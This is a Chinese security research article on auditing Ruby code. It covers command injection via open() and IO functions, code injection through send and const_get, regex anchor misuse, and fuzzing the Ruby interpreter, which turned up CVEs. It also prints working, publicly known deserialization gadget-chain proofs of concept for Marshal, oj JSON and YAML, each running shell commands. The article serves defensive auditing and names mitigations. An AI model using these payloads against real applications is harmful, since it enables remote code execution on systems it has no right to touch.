作者:NiuBL@墨云科技VLab Team
原文鏈接:https://mp.weixin.qq.com/s/ECLwMbbrf9lWXkhbUergXg
隨著Ruby越來越流行,Ruby相關的安全問題也逐漸暴露,目前,國內專門介紹Ruby安全的文章較少,本文結合筆者所了解的Ruby安全知識點以及挖掘到的Ruby相關漏洞進行描述,希望能給讀者在Ruby代碼審計上提供幫助。
Ruby簡介
Ruby是一種面向對象、指令式、函數式、動態的通用編程語言。在20世紀90年代中期由日本電腦科學家松本行弘(Matz)設計并開發。Ruby注重簡潔和效率,句法優雅,讀起來自然,寫起來舒適。
Ruby安全
說到Ruby安全不得不提RubyonRails安全,本篇著重關注Ruby本身。Ruby涉及到web安全漏洞幾乎囊括其他語言存在的漏洞,例如命令注入漏洞、代碼注入漏洞、反序列化漏洞、SQL注入漏洞、XSS漏洞、SSRF漏洞等。但是在具體的漏洞觸發上,Ruby又不同于其他語言。
命令注入漏洞
命令注入漏洞一般是指把外部數據傳入system()類的函數執行,導致命令注入漏洞。觸發命令注入漏洞的鏈接符號有很多,再配合單雙引號可以組合成更多不同的注入條件,例如(linux):
- ``
- $()
- ;
- |
- &
- \n
在審計代碼的時候一般會直接搜索能夠執行命令的函數,例如:
- popen()
- spawn()
- syscall()
- system()
- exec()
- Open3.*
而對于Ruby,除了支持這些函數執行命令,還有一些獨特執行命令的方式:
- %x//
- ``
- open()
- IO.read()
- IO.write()
- IO.binread()
- IO.binwrite()
- IO.foreach()
- IO.readlines()
%x//和``屬于類似system函數,可以把字符串解析為命令:

open()是Ruby用來操作文件的函數,但是他也支持執行命令,執行傳入一個以中劃線開頭的字符,后面跟著要執行的命令即可:

除了open()函數,IO.read()/IO.write()/IO.binread()/IO.binwrite()/IO.foreach()/IO.readlines()函數也可以以相同的方式執行命令。
open()函數引發的Ruby安全問題:
https://hackerone.com/reports/1161691
https://hackerone.com/reports/651518
https://hackerone.com/reports/1158824
https://hackerone.com/reports/294462
File.read()函數引發的Ruby安全問題:
https://hackerone.com/reports/449482
IO.readlines()函數引發的潛在Ruby安全問題,筆者發現,已被忽略:
https://hackerone.com/reports/1090678
代碼注入漏洞
代碼注入漏洞一般是由于把外部數據傳入eval()類函數中執行,導致程序可以執行任意代碼。Ruby除了支持eval(),還支持class_eval()、instance_eval()函數執行代碼,區別在于執行代碼的上下文環境不同。eval()函數導致的代碼注入問題與其他語言類似,不再贅述。
Ruby除了eval()、class_eval()、instance_eval()函數,還存在其他可以執行代碼的函數:
- send()
__send__()- public_send()
- const_get()
- constantize()
send()函數
send()函數是Ruby用來調用符號方法的函數,可以將任何指定的參數傳遞給它,類似JAVA中的invoke函數,不過它更為靈活,可以接收外部變量,舉例:
class Klass
def hello(*args)
puts "Hello " + args.join(' ')
end
end
k = Klass.new
k.send :hello, "gentle", "readers"
#=> "Hello gentle readers"
上述代碼中,實例k通過send動態調用了hello辦法,假如hello字符串來自外部,便可以傳入eval,注入惡意代碼,舉例:
class Klass
def hello(*args)
puts "Hello " + args.join(' ')
end
end
k = Klass.new
k.send :eval, "`touch /tmp/niubl`"
__send__()函數
__send__()函數和send函數一樣,區別在于當代碼有send同名函數時,可以調用__send__()。
public_send()函數
public_send()和send()函數的區別在于send()可以調用私有方法。
send()函數引發的Ruby安全問題:
https://hackerone.com/reports/327512
搜索一些不安全的用法:

const_get()函數
const_get()函數是Ruby用來在模塊中獲取常量值的函數,它存在一個inherit參數,當設置為true時(默認也為true),會遞歸向祖先模塊查找。它還有另外一個用法,就是當字符串是已載入的類名時,會返回這個類(Ruby中,類名也是常量),類似JAVA的forName函數,常用寫法是這樣:

代碼中,使用const_get動態實例化了類,使Ruby更為靈活。但是這樣的用法如果使用不當,也會出現安全問題,例如這里(rack-proxy模塊):

如圖,perform_request()函數在Net::HTTP模塊中搜索HTTP方法類,然后實例化,并傳遞full_path請求路徑參數給new()函數,HTTP方法和請求路徑都是外部可控的,而且const_get()函數沒有限制inherit,默認可以遞歸查找,在整個空間內實例化任意已載入類,并傳遞一個可控參數。如果找到合適的利用鏈,完全可以到達任意代碼執行。目前,該問題已在GitHub上被發現并修復。

實戰中已經有人使用此方法實現了代碼執行,那就是gitlab的一個漏洞
https://hackerone.com/reports/1125425, kramdown模塊使用const_get()函數來動態實例化格式化類,但是沒有限制inherit,導致vakzz通過使用一個Redis類的利用鏈達到了任意代碼執行的目的,漏洞報告已經寫的非常詳細,不再贅述。
constantize()
constantize同樣可以將字符串轉化為類,屬于RubyonRails中的用法,底層調用的const_get()函數:
def constantize(camel_cased_word)
Object.const_get(camel_cased_word)
end
下圖中constantize要轉化的類和類實例化的參數都可控,如果我們能找到合適的利用鏈,便可以到達任意代碼執行:

反序列化漏洞
反序列化漏洞是指在把外部傳入的不可信字節序列恢復為對象的過程中,未做合適校驗,導致攻擊者可以利用特定方法,配合利用鏈,達到任意代碼執行的目的。Ruby也有反序列化的函數,同樣也存在反序列化漏洞。
Marshal反序列化
Marshal是Ruby用來序列反序列化的模塊,Marshal.dump()可以把一個對象序列化為字節序,Marshal.load()可以把一個字節序反序列化為對象。
Marshal反序列化的利用已有很多篇分析文章,不再贅述。
- https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md
- https://www.elttam.com/blog/ruby-deserialization/
- https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
- https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md
使用已經公開的POC測試:
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id > /tmp/niubl")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Marshal.load(payload)
執行POC(ruby-3.0.0):

搜索一些不安全的用法:

JSON反序列化
Ruby 處理JSON時可能存在反序列化漏洞,但是不是Ruby內置的JSON解析器,而是第三方開發的解析器oj(https://github.com/ohler55/oj)。oj在解析JSON時支持多種數據類型,包括會導致代碼執行的Object類型。
使用已經公開的POC測試:
require "oj"
json = '{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":spawn"},"git_set":"id >> /tmp/niubl"},"method_id":":resolve"}}}}],"dummy_value"]}'
Oj.load(json)
執行POC(ruby-3.0.0):

oj可以通過設置模式,避免反序列化對象:
Oj.default_options = {:mode => :compat }
YAML反序列化
Ruby YAML也支持反序列化對象,pysch 4.0之前版本調用YAML.load()函數即可反序列化對象,psych 4.0以后需要調用YAML.unsafe_load()才能反序列化對象。使用已經公開的POC測試:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
requirements: !ruby/object:Gem::Package::TarReader
io: !ruby/object:Net::BufferedIO
io: !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: aaa
debug_output: !ruby/object:Net::WriteAdapter
socket: !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id >> /tmp/niubl
method_id: :resolve
require "yaml"
YAML.load(open("test.yaml").read())
執行POC(ruby-3.0.0):

Ruby YAML解析,psych4.0之前可以通過調用save_load()函數,避免反序列化對象,psych 4.0之后默認load()函數就是安全的(https://github.com/ruby/psych/pull/487)。
搜索unsafe_load的使用,不一定存在漏洞,需要yaml內容可控才有風險:

正則錯用
Ruby正則大體與其他語言一樣,只是在個別語法上存在差別,如果沒有特別了解研究,按照其他的語言用法套用,就很有可能出現安全問題,例如Ruby在用正則匹配開頭和結尾時支持^$的用法,但是支持多行匹配則需要改為\A\Z避免換行繞過。

正則錯用引發的安全問題:
https://hackerone.com/reports/733072
搜索相關代碼,還是有不少錯用的:

FUZZ Ruby解析器
在學習Ruby反序列化時,想要通過Ruby用C語言實現Marshal,對處理不同數據類型做處理,那么可以對他進行一下FUZZ。
FUZZ使用了AFLplusplus,配置編譯Ruby:
- ./configure CC=/opt/AFLplusplus/afl-clang-fast CXX=/opt/AFLplusplus/afl-clang-fast++ --disable-install-doc --disable-install-rdoc --prefix=/usr/local/ruby --enable-debug-env
- export ASAN_OPTIONS="detect_leaks=0:abort_on_error=1:allow_user_segv_handler=0:handle_abort=1:symbolize=0"
- AFL_USE_ASAN=1 make
使用AFLplusplus的deferred instrumentation模式,對Ruby源碼main.c文件稍作修改:

樣本生成上,可以選取Ruby自帶的測試用例,這樣可以快速得到比較全面合法的樣本,正好在學習Ruby hook的方案,寫了一個簡單的hook函數,在rubygems.rb文件中加載,劫持Marshal模塊,執行自測的同時即可保存下樣本。
require 'securerandom'
module Marshal
class << self
alias_method :__dump, :dump
def dump(*args)
result = __dump(*args)
uuid = SecureRandom.uuid
File.open("/testcases/" + uuid, 'wb') {|f| f.write(result)}
result
end
end
end
想要FUZZ其他模塊也可以用同樣辦法來獲取樣本。
經過一段時間的FUZZ,陸陸續續發現了一些漏洞:
1.CVE-2022-28738 doublefree in onig_reg_resize

2.CVE-2022-28739 heap-buffer-overflow in strtod

3.global-buffer-overflow calc_tm_yday

4.dynamic-stack-buffer-overflow in renumber_by_map

5.JSON.parse denial of service

雖然FUZZ出了一些問題,但是依舊存在很多未解決的問題,比如FUZZ速度、效率、自動化等,未來將繼續深入探索研究。
以上是筆者在ruby中的一些學習研究匯總,如有不恰當之處,敬請斧正,一起交流學習。
參考鏈接
- https://hackerone.com/ruby/hacktivity
- https://bishopfox.com/blog/ruby-vulnerabilities-exploits
- https://zenn.dev/ooooooo_q/books/rails_deserialize
- http://gavinmiller.io/2016/the-safesty-way-to-constantize/
- https://github.com/haileys/old-website/blob/master/posts/rails-3.2.10-remote-code-execution.md
- https://www.elttam.com/blog/ruby-deserialization/
- https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
- https://bsidessf2018.sched.com/event/E6jC/fuzzing-ruby-and-c-extensions
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1951/
暫無評論